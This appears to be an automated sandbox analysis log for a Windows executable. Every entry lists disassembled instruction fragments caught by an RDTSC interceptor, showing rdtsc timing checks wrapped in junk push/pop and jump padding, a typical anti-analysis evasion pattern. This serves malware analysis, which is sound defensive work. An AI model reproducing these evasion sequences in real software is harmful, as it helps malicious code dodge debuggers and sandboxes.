Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DCD600 second address: DCD637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007F9C6510058Ch 0x0000000b jmp 00007F9C65100591h 0x00000010 pushad 0x00000011 jnc 00007F9C65100586h 0x00000017 jmp 00007F9C6510058Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DCD637 second address: DCD667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jc 00007F9C644F7B26h 0x0000000f jp 00007F9C644F7B26h 0x00000015 jo 00007F9C644F7B26h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e jg 00007F9C644F7B32h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DCD667 second address: DCD66C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DCD80C second address: DCD810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DCD810 second address: DCD822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 js 00007F9C65100590h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DCDD2B second address: DCDD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jg 00007F9C644F7B45h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD353B second address: DD3549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jng 00007F9C65100586h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3549 second address: DD3560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F9C644F7B2Ch 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3560 second address: DD3566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3B68 second address: DD3B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9C644F7B26h 0x0000000a popad 0x0000000b jmp 00007F9C644F7B36h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3B8C second address: DD3B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9C65100586h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3B9A second address: DD3BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 jg 00007F9C644F7B2Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3BA9 second address: DD3BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9C6510058Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3BC1 second address: DD3BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD30B0 second address: DD30B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD30B6 second address: DD30BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3E5B second address: DD3E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3E61 second address: DD3E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C644F7B2Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DD3E75 second address: DD3E93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9C65100597h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DDACED second address: DDAD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F9C644F7B2Dh 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DDAD0C second address: DDAD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DDAD10 second address: DDAD16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DDAD16 second address: DDAD1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DDA8DA second address: DDA8E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DDE310 second address: DDE324 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9C65100586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007F9C65100586h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE51FD second address: DE5203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE5203 second address: DE5207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE5207 second address: DE5211 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C644F7B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE5211 second address: DE521B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE521B second address: DE521F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE3D36 second address: DE3D56 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9C65100586h 0x00000008 js 00007F9C65100586h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jno 00007F9C65100586h 0x00000017 jnp 00007F9C65100586h 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE3D56 second address: DE3D67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F9C644F7B26h 0x00000009 jns 00007F9C644F7B26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8C797 second address: D8C7E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100593h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, dword ptr [ebp+122D2DB7h] 0x00000012 mov ebx, dword ptr [ebp+12480781h] 0x00000018 mov dword ptr [ebp+122D1E2Ch], esi 0x0000001e add eax, ebx 0x00000020 mov ecx, dword ptr [ebp+122D3344h] 0x00000026 nop 0x00000027 push edi 0x00000028 pushad 0x00000029 push esi 0x0000002a pop esi 0x0000002b je 00007F9C65100586h 0x00000031 popad 0x00000032 pop edi 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push ebx 0x00000038 pop ebx 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE41F8 second address: DE41FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE41FE second address: DE4220 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100590h 0x00000007 jc 00007F9C65100586h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F9C65100586h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE4ECE second address: DE4F06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9C644F7B33h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jnp 00007F9C644F7B26h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D4A9FD second address: D4AA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9C65100586h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C6510058Ch 0x00000013 jmp 00007F9C65100594h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D4AA2B second address: D4AA3D instructions: 0x00000000 rdtsc 0x00000002 js 00007F9C644F7B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F9C644F7B26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D4AA3D second address: D4AA41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE82BA second address: DE82C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 jg 00007F9C644F7B26h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE82C8 second address: DE82CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE82CE second address: DE82D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE8828 second address: DE8838 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9C65100586h 0x00000008 jo 00007F9C65100586h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DE8838 second address: DE884E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9C644F7B2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F9C644F7B26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEE3B2 second address: DEE3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEE3B8 second address: DEE3D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C644F7B37h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEE3D4 second address: DEE40C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C65100599h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEE9EB second address: DEEA0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F9C644F7B26h 0x00000009 pop esi 0x0000000a push ecx 0x0000000b jmp 00007F9C644F7B34h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEED00 second address: DEED04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEED04 second address: DEED21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C644F7B37h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEED21 second address: DEED2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F9C65100586h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEED2C second address: DEED45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9C644F7B2Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEED45 second address: DEED49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEED49 second address: DEED4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEF596 second address: DEF5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9C65100586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEF86B second address: DEF874 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEF874 second address: DEF886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DEF886 second address: DEF88B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF62A4 second address: DF62A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF62A9 second address: DF62AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF62AF second address: DF62B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF556D second address: DF5571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5571 second address: DF5577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF57EE second address: DF5803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C644F7B2Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5803 second address: DF5828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F9C6510059Dh 0x0000000e jmp 00007F9C65100597h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5828 second address: DF5839 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9C644F7B2Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5839 second address: DF5841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5AD7 second address: DF5ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5ADB second address: DF5B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100593h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9C6510058Eh 0x00000013 pop esi 0x00000014 pushad 0x00000015 jmp 00007F9C65100594h 0x0000001a jmp 00007F9C6510058Bh 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5B29 second address: DF5B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5E23 second address: DF5E29 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5E29 second address: DF5E43 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9C644F7B28h 0x00000008 jmp 00007F9C644F7B2Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5FBB second address: DF5FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DF5FC6 second address: DF5FDA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C644F7B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F9C644F7B26h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01284 second address: E0129C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100592h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E0129C second address: E012A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E016B6 second address: E016BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01944 second address: E0194A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E0194A second address: E0194F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E0194F second address: E01955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01955 second address: E01959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01959 second address: E0196B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9C644F7B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F9C644F7B2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E0196B second address: E0197D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push edi 0x0000000a ja 00007F9C65100586h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01B1A second address: E01B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01B1E second address: E01B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C6510058Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01B32 second address: E01B6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F9C644F7B26h 0x00000009 jmp 00007F9C644F7B2Dh 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007F9C644F7B26h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b jmp 00007F9C644F7B38h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01D20 second address: E01D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F9C6510058Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01E65 second address: E01E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01E6B second address: E01E71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01E71 second address: E01E76 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E01E76 second address: E01E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E02E29 second address: E02E33 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C644F7B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E02E33 second address: E02E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9C6510058Ah 0x0000000b pop ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E00D17 second address: E00D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9C644F7B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: E00D21 second address: E00D2B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C65100586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
